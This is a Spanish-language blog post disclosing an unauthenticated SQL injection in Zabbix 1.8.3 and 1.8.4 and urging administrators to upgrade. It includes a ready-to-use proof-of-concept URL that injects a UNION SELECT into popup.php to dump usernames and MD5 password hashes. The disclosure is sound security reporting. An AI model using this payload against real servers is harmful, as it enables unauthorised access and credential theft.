Inyección SQL en Zabbix 1.8.4 y 1.8.3

Si monitorizáis los sistemas de la empresa con Zabbix, quizás deberíais aseguraros que tiene instalada una de las últimas versiones (la 1.8.9 acaba de salir).

Marcio Almeida acaba de publicar una vulnerabilidad crítica de inyección SQL que afecta a las versiones 1.8.4 y 1.8.3, a través de la cual podríamos por ejemplo obtener los logins y sus hashes md5 sin necesidad de autenticación previa.


Para ello, introducimos la siguiente URL (PoC):


http://localhost/zabbix/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=-1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23


Y miramos el código fuente:


Concretamente, el código vulnerable está en la línea 1513 de popup.php:

$sql = 'SELECT DISTINCT hostid,host '.
' FROM hosts'.
' WHERE '.DBin_node('hostid', $nodeid).
' AND status IN ('.HOST_STATUS_PROXY_ACTIVE.','.HOST_STATUS_PROXY_PASSIVE.')'.
' ORDER BY host,hostid';
$result = DBselect($sql);

Por lo tanto, un atacante podría explotar la vulnerabilidad para acceder a cualquier información de la base de datos accesible por el usuario zabbix y, si a este usuario se le hubiesen asignado más privilegios, su explotación podría incluso dar lugar a una ejecución remota de código en el servidor.

Y para más inri, la versión 1.8.4 de Zabbix es la que actualmente se instala con el comando apt-get en distribuciones Debian y derivadas, así que imaginad la cantidad de servidores vulnerables ...

Comentarios